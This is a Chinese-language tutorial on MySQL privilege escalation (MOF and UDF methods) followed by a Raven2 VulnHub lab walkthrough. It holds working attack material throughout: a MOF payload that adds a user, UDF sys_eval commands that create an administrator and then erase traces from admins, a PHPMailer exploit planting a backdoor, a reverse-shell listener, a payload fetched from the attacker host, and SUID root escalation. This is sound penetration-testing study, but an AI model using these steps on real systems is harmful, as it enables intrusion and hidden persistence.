就是提升權限,當我們拿到一個shell權限較低,當滿足MySQL提權的要求時,就可以進行這個提權。
MySQL數據庫提權(Privilege Escalation)是指攻擊者通過技術手段,從低權限的數據庫用戶提升到更高權限(如root
或管理員
),從而獲得對數據庫或操作系統的控制權。這種行為通常屬于非法入侵,嚴重威脅數據安全。
1. MySQL提權必要條件
- 有root權限,以system權限運行
- 可以執行SQL語句
1.1. 獲取root密碼
- 查看數據庫關鍵配置文件
關鍵字:config,coon,sql,data,inc,database
可以以SQLconnection為一個列子看看
在以inc為后綴的文件中MySQL的用戶密碼都在,這就是數據庫關鍵文件
- 下載MySQL安裝路徑下的數據文件
(1)安裝路徑下的 data 目錄中存放的是數據庫的數據信息
(2)root 賬號密碼存儲在 mysql 數據庫下的 user 表中
(3)完整路徑=安裝路徑+\data\mysql\user.MYD
這個就是當我們拿到shell后,找到MySQL安裝路徑,在MySQL中data文件的mysql文件夾中的user.MYD,
user.MYD文件中有密碼,不過是經過MD5加密的,我們可以進行解碼
打開如下圖所示
去cmd5網站解密,🆗完成
- 暴力破解
2. MySQL 提權的方式
2.1. MOF 提權
原理
利用了 C:\Windows\System32\wbem\MOF 目錄下的 nullevt.mof 文件,利用該文件每分鐘會去執行一次的特性,向該文件中寫入 cmd 命令,就會被執行。
條件
- 針對windows低系統,如xp,server2003.
- 需要對C:\Windows\System32\wbem\MOF目錄具有讀寫權限。
- 找到目錄寫入mof文件。
2.1.1. 提權操作
1、在可寫目錄中上傳 mof 文件。把 mof 文件上傳到 C:/wmpub/nullevt.mof
2、把這個文件復制到 C:/Windows/System32/wbem/MOF/nullevt.mof 目錄下 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
將下面這段代碼復制到 mof 后綴的文件中
# pragma namespace("\.\root\subscription")
instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2";
Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL"; };
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new
ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把這個 mof 文件上傳到目標機中,可以修改代碼,進行命令執行。
目前 mof 提權方法用的比較少,建議使用 udf 腳本進行 MySQL 數據庫提權
2.1.2. 應急措施
- 停止winmgmt服務:net stop winmgmt
- 將文件先備份,再刪除文件夾:C:\Windows\System32\wbem\Repository
- 再啟動winmgmt服務:net start winmgmt
2.2. UDF提權
原理
UDF(user defind funtion)用戶自定義函數,通過添加新的函數,對數據庫進行命令執行。
2.2.1. 收集信息
進行udf提權是有條件的,符合條件方可進行
select version();
獲取數據庫版本select user();
獲取數據庫用戶名,因為我們 要擁有最高權限第一標題說過select @@basedir;
獲取數據庫安裝目錄show variables like '%plugin%';
查看 plugin 路徑
2.2.2. Windows-udf提權
UDF可以理解為MySQL的函數庫,用來放一些新的函數(自定義函數)。
在符合MySQL的語法情況下,可以調用UDF文件中的函數,
利用這一特性,我們可以上傳一個惡意的udf文件(主要功能:執行命令 udf.dll),使MySQL調用dll中的函數實現某些功能(MySQL本身不能執行命令)。
2.2.2.1. 條件
- MySQL版本>5.1
udf.dll文件必須放在MySQL安裝目錄的 MySQL\Lib\Plugin\文件夾下,該目錄默認是不存在的,需要使用 webshell 找到 mysql 的安裝目錄,并在安裝目錄下創建 MySQL\Lib\Plugin\文件夾,(當我們創建完后,還可使用4指令查看是否成功)然后將 udf.dll 導入到該 目錄。(后面工具使用情況下也是一樣的,需將文件夾創建好才可以將udf.dll文件導入)
- MySQL版本<5.1
udf.dll 文件在 windows server 2003 下放置于 c:/windows/system32/目錄,在 windows server 2000 下放置在 c:/winnt/system32/目錄。掌握 mysql 數據庫的 root 賬戶,從而擁有對 mysql 的 insert 和 delete 權限,以創建和拋棄函數。
2.2.2.2. 提權步驟
對于數據庫的寫入文件什么的,會有一個 secure_file_priv 函數,該函數是用來限制讀寫的,它具有三種方式:同時在學習筆記的數據庫提權數據庫權限獲取中手寫木馬也有涉及
1、secure_file_priv 的值為 NULL,表示限制 mysql 不允許導入|導出
2、當 secure_file_priv 的值為/tmp/ ,表示限制 mysql 的導入|導出只能發生在/tmp/目錄 下(其他目錄也可以)
3、當 secure_file_priv 的值沒有具體值時,表示不對 mysql 的導入|導出做限制
打開虛擬機,首先對secure_file_priv 設置為空,只有為空時才能不對MySQL的輸入和輸出有限制
2.2.2.2.1. DLL 文件的獲取方法:
在 sqlmap/data/udf/mysql 目錄下,在 Windows 目錄中有 32 位和 64 位的 dll 文件 (MySQL 位數)。
1,解碼 將這個被sqlmap加密的dll文件進行解碼
文件夾中的 dll 文件是通過異或編碼的,可以使用 sqlmap/extract/cloak.py 進行解碼
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
2,通過loadfile加載剛剛解碼的內容, 將解碼的內容寫入到 lib/plugin 中
將解碼后的 DLL 文件(包含用戶自定義函數的 DLL 文件)上傳到可寫目錄,再導入 到 MySQL\lib\plugin\中
select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
將 DLL 中的函數引入到 MySQL 數據庫中
3,創建自定義函數
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
創建名為 sys_eval 的函數,返回值為 string 類型,調用的文件是 lib_mysqludf_sys.dll
注意:需要創建.dll 文件中存在的函數,可以使用十六進制編輯器打開.dll 文件,查看可以被創建的函數。
使用該函數去執行系統命令提權
查看當前用戶權限
select sys_eval("whoami");
創建賬號并提升為管理員權限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
將之前引入的函數刪除掉防止被管理員發現,防止其他攻擊者使用
drop function sys_eval; delete from mysql.func where name='sys_eval';
2.2.2.2.2. 工具使用UDF提權
由于我電腦Java環境不適用于該工具,所以使用另外一個Java版本,啟動該工具要在Java文檔的bin文檔使用命令行,方可使用。
右鍵新增添加,如圖所示:
當MySQL存在\Lib\Plugin\ 時工具導入成功
創建文件如下圖
查看當前用戶權限
select sys_eval("whoami");
發現具有回應,說明函數eval創建成功
2.2.3. Linux-udf提權
- 通過自定義函數來實現任何命令
- 包含自定義函數的文件為 .so 文件
2.2.3.1. 利用條件
?在 my.ini 的[mysqld]下,添加 secure_file_priv="",不限制導入導出路徑
?具有數據庫 root 賬戶的密碼,且 mysql 數據庫以 root 權限運行
?具有 sql 語句的執行權限(一般都具有)
?導出目錄可寫( secure_file_priv 函數)
?系統中的 selinux 處于關閉狀態
2.2.3.2. 提權步驟
- 查找插件庫的路徑
show variables like '%plugin%';
使我們找到 plugin ,因為我們需要將后續創建的函數導入該文件夾中,上面說過udf解碼后的文件必須在該文件夾中才可以使用
找到對應操作系統數據庫的 UDF 庫文件
sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_文件
將 so 文件(UDF 庫文件)進行 16 進制編碼
將 so 文件的內容解碼,寫入到 mysql 插件庫目錄中
select unhex('so 文件的 16 進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看 udf 庫所支持的函數
注意:需要創建.so 文件中存在的函數,可以使用十六進制編輯器打開.so 文件,查看可以被創建的函數。
創建函數
寫入之后,執行創建函數的命令,就會創建一個 sys_eval 的函數,用來執行系統命 令,這個函數執行的系統命令全部都是 system 權限。
create function sys_eval returns string soname 'xxx.so';
執行系統命令,提權
sys_eval 這個函數就可以執行系統命令,括號里輸入系統命令即可。
查看當前用戶權限
select sys_eval("whoami");
創建賬號并提升為管理員權限不需要判斷 mysql 的版本,直接查看路徑,直接寫 so 文件,Linux 里面的文件是 so 文 件。
getshell 之后,在終端輸入 whoami,發現只是 apache 用戶權限。尋找網站的數據庫配置文件,查看數據庫的賬號密碼,可以看到賬號 root 密碼 root。登錄 mysql 數據庫,輸入 show variables like '%plugin%';查看 plugin 路徑。得到的結果為:
我們把 so 文件進行 16 進制編碼,再解碼寫入目錄中,返回為 true,寫入成功。
select unhex('so 文件的 16 進制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
寫入之后,執行創建函數的命令,就會創建一個 sys_eval 的函數,用來執行系統命 令,這個函數執行的系統命令全部都是 system 權限。 create function sys_eval returns string soname 'xxx.so'; sys_eval 這個函數就可以執行系統命令,括號里輸入系統命令即可。
select sys_eval('whoami')
3. UDF提權實戰
使用虛擬機中的kali,再開啟靶機Raven2
靶機介紹:
靶場地址:https://www.vulnhub.com/entry/raven-2,269/靶機描述:Raven 2 是一個中級 boot2root VM。有 4 個 flag 要捕獲。
目標:獲取到四個 flag
3.1. 準備工作
事先我們的kali和raven要處于同一個網段,這樣就可以使用工具 namp 獲取靶機的IP地址進行訪問
ifconfig
Linux中查詢IP
kali IP地址:192.168.119.128
使用nmap獲取靶機IP,使用arp-scan也可以
nmap -sP 192.168.119.1/24
arp-scan -l
發現使用arp-scan掃描出了D段為133的IP地址,并沒有掃出128的
所以大概率靶機的IP為:192.168.119.133
再使用nmap探測IP開放的端口
nmap -sV -p- 192.168.119.133
3.2. 進行訪問并查找flag
瀏覽器訪問該地址:192.168.119.133/80
當然可以不需要端口,因為HTTP服務端口本來就是80
接下來使用dirb爆破網站的子目錄,看看能不能獲取一些版本信息
dirb http://192.168.119.133:80
它掃描出來許多的分站,從一級目錄開始掃
我們可以對這些進行訪問選中 /vendor 目錄
當我們打開第一個文件,發現是一篇閱讀文件,沒找到什么
打開PATH文件,找到第一個flag->flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在readme.md文件發現PHPmailer 插件 是一個漏洞
再打開下面的version文件可以看到PHPmailer 插件的版本為 5.2.16
3.2.1. 漏洞利用
現在使用searchsploit查詢是否有這個版本的exp
- “exp”是“exploit”的縮寫,意為漏洞利用代碼。在安全領域,它特指針對特定漏洞編寫的攻擊程序或腳本,用于觸發漏洞、獲取系統權限或執行其他惡意操作。
- PHPMailer:一個PHP郵件庫,歷史版本中存在已知漏洞。
- searchsploit:用戶提到的命令應為
searchsploit
(Exploit-DB的搜索工具),用于查詢公開的漏洞利用代碼(exp)。
searchsploit PHPMailer
本版本是 5.2.16 ,找到最近的python腳本
3.2.2. 確定漏洞利用腳本地址
3.2.2.1. 法 一
使用 -p
參數顯示單個條目的完整路徑
如果已知漏洞編號或相對路徑(例如 php/webapps/40974.py
),可直接運行:
searchsploit -p php/webapps/40974.py
輸出示例:
Exploit: PHPMailer < 5.2.18 - Remote Code ExecutionURL: https://www.exploit-db.com/exploits/40974Path: /usr/share/exploitdb/exploits/php/webapps/40974.py
3.2.2.2. 法二
Python攻擊腳本的地址是通過以下步驟確定的:
使用searchsploit
搜索漏洞:
執行命令 searchsploit PHPMailer
,工具會列出所有匹配的漏洞利用腳本及其路徑。例如:
- php/webapps/40974.py PHPMailer < 5.2.18 - Remote Code Execution
- 拼接完整路徑:
searchsploit
的本地數據庫默認安裝在/usr/share/exploitdb/
,因此腳本的完整路徑為:
/usr/share/exploitdb/exploits/php/webapps/40974.py
復制腳本到目標目錄:
使用 cp
命令將腳本復制到指定位置(如 /root
):
- cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
關鍵點:
searchsploit
輸出的路徑是相對于本地漏洞庫根目錄(/usr/share/exploitdb/
)的。- 復制時需要補全完整路徑,格式為:
/usr/share/exploitdb/exploits/[分類]/[子目錄]/[腳本名]
。
將腳本復制出來
cp /usr/share/exploitdb/exploits/php/webapps/40974.py
/root
然后cat指令打開該文件對該腳本進行配置修改
3.2.3. vim編輯腳本
開啟了40974.py這一個python腳本,使用它向網址寫入一個后門文件
- vim 編輯文本 vim 40974.py
按i進入編輯
使用紅線標記的都為需要更改的
目標IP下一個修改為任意的PHP文件名
注:目標網址路徑一定要正確
目標路徑在獲得第一個flag時有,將該地址修改上去
更改好如下圖所示,再先按Esc :wq 保存退出
現在信息已經完畢,接下來使用python3運行該腳本,運行成功的標志為 [+]
運行成功,成功在目錄正生成shell文件
保存后退出,這個存在漏洞的網頁是在contact.php里,運行這個攻擊文件會自動在網站根目錄下面生成一個后門文件best.php
3.2.4. 對網址進行命令操作
- 建立監聽
nc -lvp 9999
----->9999為我的端口
注意:我這種現象屬于當時vim編輯腳本的時候出現了問題,我把我的kali地址打錯了導致錯誤,找出錯誤花了一分鐘
將我的IP改正確
再次進行監聽,并且訪問之前創建的文件
發現還是監聽不了,仔細觀察腳本代碼是否有哪里錯誤,發現路徑多了一層vendor
改回來后,在訪問best.php,監聽成功!!!!
返回成功獲得shell
python -c 'import pty; pty.spawn("/bin/bash")'
使用該條命令獲取交互式 shell ,讓我們更方便操作
接著我們嘗試使用 find 查找 flag 文件
find / -name flag*
找了許多文件,慢慢找
直接在kail中找
/var/www/flag2.txt
找到
因為flag3是圖片類型,所以使用網址去看
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
接下來還有一個flag4,肯定在以下目錄中。找根目錄
ls wordpress 打開這個,查看配置文件,因為我們需要拿到MySQL權限用來查找flag
關鍵字:config,coon,sql,data,inc,database
cd wordpress :切換至該目錄
cat wp-config.php 打開該文件
打開文件后發現是MySQL文件,文件中還有MySQL賬號密碼
username:root
password:R@v3nSecurity
然后就是登入這個數據庫了
mysql -u root -pR@v3nSecurity
直接登入數據庫
3.3. 對數據庫進行udf提權
由于 MySQL 支持 UDF,支持我們自定義函數來擴展功能。當我們創建帶有調用 cmd 函數的’udf.dll’(動態鏈接庫)。當我們把’udf.dll’導出指定文件夾引入 Mysql 時, 其中的調用函數拿出來當作 mysql 的函數使用。
提權條件
1)mysql 數據庫的 root 權限
2)secure_file_priv 的值為空
3)如果 mysql 版本大于 5.1,udf.dll 文件必須放置在 mysql 安裝目錄的 lib\plugin 文件夾下
4)如果 mysql 版本小于 5.1, udf.dll 文件在 windows server 2003 下放置于 c:\windows\system32 目錄,在 windows server 2000 下放置在 c:\winnt\system32 目錄。查看權限 SHOW GRANTS;
3.3.1. 流程
- 查看目前權限
show grants;
- 查看數據庫版本,一定要是大寫的,因為小寫的試過了
Select @@version();
版本大于5.1,因此我們接下來要創建文件
- 再查看secure_file_priv 的值符不符合條件
show global variables like 'secure%';
符合條件,MySQL版本大于5.1,所以要把udf這個文件放置在MySQL安裝目錄lib\plugin文件下才能創建自定義函數。
- 使用kali漏洞庫搜索udf
這里使用1518.c 將1518.c下載到本地,再cp到root目錄下
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
- 接下來將下載好的文件解碼
先執行 gcc -g -c 1518.c
再執行 gcc -g -shared -o test.so 1518.o -lc
命令解釋
-g 生成調試信息
-c 編譯(二進制)
-shared:創建一個動態鏈接庫,輸入文件可以是源文件、匯編文件或者目標文件。
-o:執行命令后的文件名
-lc:-l 庫 c 庫名
- 導入靶機tmp目錄
tmp目錄:
tmp
目錄通常權限寬松,需防范惡意文件注入(如木馬、腳本)。- 可以利用開啟kali本地HTTP服務,讓靶機下載kali中test.so到靶機的tmp目錄
在kali中開啟http服務
python3 -m http.server 80
在shell中啟動下載test.so文件
wget http://192.168.119.128/test.so
當我們總是連接不上的時候,應該是IP地址更改了
下載成功
- 登入數據庫創建自定義函數
使用mysql庫,創建數據表test
use mysql;
create table test(line blob);
創建如圖所示
- 將test.so文件插入
insert into test values(load_file('/tmp/test.so'));
插入數據
檢查是否插入成功:select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';
#( test 表成功插入二進制數據,然后利用 dumpfile 函數把文件導出 outfile 多行導出,dumpfile 一行導出 outfile 會有特殊的轉換,而 dumpfile 是原數據導出新建存儲函數)
- 創建自定義函數
create function do_system returns integer soname 'test.so';
#(創建自定義函數 do_system 類型是 integer,別名 soname 文件名字然后查詢函數是否創建成功)
select * from mysql.func;
查詢函數是否創建成功
select do_system('chmod u+s /usr/bin/find');
#(調用 do_system 函數來給 find 命令所有者的 suid 權限,使其可以執行 root 命令)
- 提權操作
退出 mysql,使用/usr/bin/find 提權
提權之前的權限如下圖
進行提權
touch test
find test -exec "/bin/sh" \;
成功提權為 root 權限
- 拿到第四個flag
進入root目錄拿第四個flag
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!